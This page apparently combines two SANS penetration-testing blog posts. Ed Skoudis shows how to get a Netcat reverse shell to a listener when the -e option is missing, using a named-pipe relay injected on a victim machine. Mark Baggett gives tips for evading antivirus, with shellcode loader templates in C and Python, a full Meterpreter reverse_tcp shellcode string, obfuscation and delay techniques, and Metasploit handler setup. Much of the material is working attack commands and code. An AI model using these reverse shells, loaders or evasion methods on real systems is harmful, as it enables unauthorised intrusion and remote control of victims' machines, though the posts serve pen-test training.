Netcat without -e? No Problem!

by Ed Skoudis

Many pen testers know how to create a reverse backdoor shell with Netcat.  But, what do you do if you have a Netcat that doesn’t support the -e or -c options to run a shell?  And, what if your target doesn’t support /dev/tcp?  In this article, I’ll show you a nifty little work-around using some command-line kung fu with shell redirects.


Netcat is fantastic little tool included on most Linuxes and available for Windows as well.  You can use Netcat (or its cousin, Ncat from the Nmap project) to create a reverse shell as follows:

First, on your own pen test machine, you create a Netcat listener waiting for the inbound shell from the target machine:

skodo@pentestbox# nc -nvlp 443

Here, I’m telling Netcat (nc) to not resolve names (-n), to be verbose printing out when a connection occurs (-v), to listen (-l) on a given local port (-p).  For some versions of Netcat, you leave the -p off of the listener invocation.  Note that you need root-level privileges to listen on a port less than 1024.  I’m using 443 here because it is more likely to be allowed outbound from my target environment to get back to my pentestbox Netcat listener, and is less likely to get noticed.  Some organizations assume all TCP 443 traffic to be HTTPS, and therefore don’t bother inspecting that traffic because they expect it to be encrypted.  That’s a bad assumption on their part.

Then, on the target machine, get the following command to execute (perhaps via command injection in a web app or some other attack technique):

victim$ nc pentestbox 443 -e /bin/bash

This command invokes a Netcat client on the victim, which connects to the attacker’s pentestbox on TCP port 443.  The Netcat client then executes /bin/bash (-e /bin/bash) on the victim, connecting that shell’s Standard Input and Standard Output to the network (that’s what Netcat’s -e option does… the -c option on some versions of Netcat is similar, except instead of executing just a single program, with no options, to connect, it executes a command which could have various parameters).

Then, on the pentestbox machine, we’ll see the inbound connection, which we can type commands into as follows (typed commands in bold):

skodo@pentestbox# nc -nvlp 443
listening on [any] 443 ...
connect to [AttackerIPaddress] from (UNKNOWN) [VictimIPaddress]

But, What If You Don’t Have -e Support?

OK.  That’s all well and good… pretty standard fare for pen testers.  But, what if you have a version of Netcat that doesn’t support the -e option?  In the traditional Netcat, if the well-named GAPING_SECURITY_HOLE option isn’t defined in the Netcat source when it is compiled, your resulting Netcat executable won’t support -e.  Is all hope lost? Not at all.  Years ago, I demonstrated how you could use /dev/tcp to implement a Netcat-like backdoor, without using Netcat at all.  You can see it in my presentation called “Netcat without Netcat” here (slide 17 talks about the technique).

But, to use that technique, you need to have a bash that supports /dev/tcp.  What if the target Linux is a Debian variant, which typically has a bash compiled without /dev/tcp support?  Or, worse yet, what if the target system doesn’t even have bash!  Some stripped down Linuxes rely on other shells, such as plain old sh or ash.  Shudder.  Wow… sucks to be you.  You’ve got a target Linux, but without a /dev/tcp and without a -e option in Netcat.  Should you just give up?  Nope.

I have, near my house, a magical Olive Garden.  In this restaurant, I get all kinds of crazy ideas, often sitting at the bar awaiting my family to join me for dinner.*  I was once sitting there, contemplating a penetration test I was working on, when suddenly it hit me: I can make something that works like Netcat with -e, even without a -e, by leveraging my shell.

In effect, I was going to implement a traditional Netcat relay (which I described in detail, along with a bunch of other crazy Netcat relays, on the Pauldotcom podcast episode 195 here), but instead of relaying from a Netcat listener to a Netcat client, I can relay from a shell to a Netcat client.  Check it out:

As before, we start with a Netcat listener waiting for the inbound shell:

skodo@pentestbox# nc -nvlp 443

Now, on the target machine, I inject the following commands:

victim$ mknod /tmp/backpipe p 
victim$ /bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe

Here, I’ve first made a named pipe (also called a FIFO) called backpipe using the mknod command.  The mknod command lets me create things in the file system, and here I’m creating something called “backpipe” that is of type “p”, which is a named pipe.  Alternatively, we could have used the mkfifo command available on some Linuxes and Unix variants, leaving off the p option.  This FIFO will be used to shuttle data back to our shell’s input.  I created my backpipe in /tmp because pretty much any account is allowed to write there.

Then, I invoke my shell (/bin/sh), the most common shell available on all kinds of Linuxes and Unixes, pulling its Standard Input from the backpipe (0</tmp/backpipe).  I pipe the output of /bin/sh (|) to my Netcat client.  That Netcat client connects to the pentestbox on port 443 (nc pentestbox 443).  I then take Netcat’s Standard Output and dump it into the backpipe (1>/tmp/backpipe).  On most shells, you can dispense with the 0< and 1> syntax, but on occasion, I’ve seen some weird shells where it doesn’t work unless you use 0< and 1>.  I always throw them in, just to make sure it’ll work.

On the pentestbox machine, it proceeds pretty much like before:

skodo@pentestbox# nc -nvlp 443
listening on [any] 443 ...
connect to [AttackerIPaddress] from (UNKNOWN) [VictimIPaddress]

But, What If You Have Raw Execution and You’re Not in a Shell?

Now, there’s one more thing to keep in mind.  All of this redirect craziness (0<, |, and 1>) depends on there being a shell in which we’re invoking the whole command on the victim machine.  If you have raw command injection, in which you can execute arbitrary programs on the target machine, but without a shell (sometimes that happens with very vulnerable web apps), you’ll have to modify the command just a bit.  You’ll need to invoke your own shell on the local target box (/bin/sh), which then in turn (using the -c option) invokes the backdoor shell (another /bin/sh) and all the great redirect stuff to invoke Netcat.  Do that by injecting the following command:

/bin/sh -c "/bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe"

So, there you have it… a way to make a Netcat behave as though it has a -e or -c option, even though it doesn’t, all by leveraging some wonderful shell redirects.

If you like this kind of thing, I recommend you take my SANS Network Penetration Testing and Ethical Hacking Course (SANS Security 560).

Thanks for reading!

–Ed Skoudis.

SANS Fellow and Pen Test Curriculum Lead
Founder, Counter Hack

* I have found it very helpful to identify a place as “magical” for the purpose of crazy, whimsical, and useful idea formation.  Additionally, it’s nice to have a time of day that you consider especially ripe for ideation.  When there or then, tell yourself that you are now in the zone when ideas will happen, and your brain will be more likely to come up with interesting ideas.  In a cynic’s view, you are tricking yourself to come up with ideas.  Or, from the optimist’s point of view, you are setting the stage for your soul to sour.

The place and time don’t have to line up.  In fact, it’s best if they don’t, as you’ll get more chances for ideas.  For me, the place is that Magical Olive Garden in Eatontown, NJ, which I go to for dinner.  But, the time is dawn, just as the sun is rising, when I’m on my morning walk.  Much magic then!

Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more:
  • Play previous versions from free 24/7/365:

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

Tips for Evading Anti-Virus During Pen Testing

By Mark Baggett, the SANS Institute

You know the old saying… “Give a man a backdoor undetected by antivirus and he pwns for a day.  Teach a man to make backdoors undetected by antivirus and you will get free drinks for life at DEF CON.”

During the exploitation phase of a pen test or ethical hacking engagement, you will ultimately need to try to cause code to run on target system computers.  Whether accomplished by phishing emails, delivering a payload through an exploit, or social engineering, running code on target computers is part of most penetration tests.  That means that you will need to be able to bypass antivirus software or other host-based protection for successful exploitation.  The most effective way to avoid antivirus detection on your target’s computers is to create your own customized backdoor.  Here are some tips for creating your own backdoors for use in penetration testing:

TIP #1:  Do your reconnaissance.   Know what antivirus software target system personnel are running.   While it is certainly possible to make a backdoor that evades all antivirus software products, there is no need to waste those cycles if your target is only running one product, a significant likelihood.  Narrow down your options by getting this information from target system personnel by asking, looking for information leakage such as e-mails footers that proclaim the AV product, or even a friendly social engineering phone call if such interaction is allowed in your rules of engagement.

TIP #2:  If you want to use your backdoor for more than one project, do not submit it to or any of the other online sandboxes/scanner that work with antivirus software companies to generate new signatures.  Instead, buy a copy of the antivirus product used by your target organization and test it on your own systems.  Alternatively if your target is using one of the nine AV products scanned by VirusNoThanks, you could use and be sure to select “Do no distribute the sample” at the bottom of the page.

TIP #3:  KISS – Keep it simple, shell-boy.  I’m a minimalist when it comes to remote access.  I just need enough to get in, disable antivirus (if the rules of engagement will allow it), and then move in with more full-featured tools.  This approach requires less coding on my part and there is less of a chance that I will incorporate something that antivirus doesn’t like.

TIP #4:  You don’t have to COMPLETELY reinvent this wheel.  Metasploit has templates in the data/templates/src directory for DLLs, EXEs, and Windows Services.   Start with them and modify them only as required to avoid your target’s defenses.   For example:

$ cat data/templates/src/pe/exe/template.c
#include &lt;stdio.h&gt;
#define SCSIZE 4096
char payload[SCSIZE] = "PAYLOAD:";
char comment[512] = "";

int main(int argc, char **argv) {
        (*(void (*)()) payload)();

You can set the payload[SCSIZE] array to any shell code that meets your needs and compile it.  There are plenty of options out there for shell code.  You can get several examples of shell code from exploit-db ( and many of them do not trigger antivirus software.  Or, you can also use msfpayload or msfvenom from Metasploit to generate C shell code and plug that into the template.  For example:

$ ./msfpayload windows/shell_bind_tcp C

This generates C shell code to bind a shell to TCP port 4444.   Compile it, and check to see if the AV product running in your lab detects it.  If the compiled program is detected, you have a lot of flexibility in source code.   You can try:

–        Moving part of your shell code to a different data segment

–        Compile it to different PE, Old EXE, or COM (yes… I said .COM) formats

–        Break the shell code up into smaller strings and mix the order in the source code.  Then reassemble it into a variable in memory in the correct order before calling it

–        Use timed events or wait() functions to delay the payload execution to avoid heuristic engines

–        Create your own simple encoding engine to mask the bytes… it is easier than you think! Check out

I like writing in Python, then using pyinstaller to create an exe out of my Python script.    Here is a Python template I wrote that does the same thing as the C template provided with Metasploit:

from ctypes import *

shellcode = '<-ascii shell code here ex: \x90\x90\x90->’

memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

If you want to use a Metasploit payload as your shell code, you can easily turn C source into a Python-compatible string by deleting all the double quotes and new lines using the handy tr command as follows:
$ ./msfpayload windows/shell_bind_tcp C  | tr -d '"' | tr -d '\n'

If you generate a multi-stage payload, just grab the string for stage one.  For example, to create a Metasploit framework reverse Meterpreter, I would do the following:

$ ./msfpayload windows/meterpreter/reverse_tcp LHOST= C | tr -d '"' | tr -d '\n' | more

Then grab the string produced for STAGE1 and plug it into my template as follows:

from ctypes import *

shellcode = '\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3’

memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

Next, I'll compile my new backdoor with pyinstaller with the following options:
$ python
$ python --onefile --noconsole
$ python shell_template\shell_template.spec

To use the new payload we setup the Metasploit framework with the multi-handler “exploit”.    Once our program is run on the target, it connects back to the framework where stage2 is delivered.

msf > use multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST LHOST =>
msf  exploit(handler) > exploit

I hope you find these techniques useful as you help organizations better understand their security risks and improve their defenses through your penetration testing work!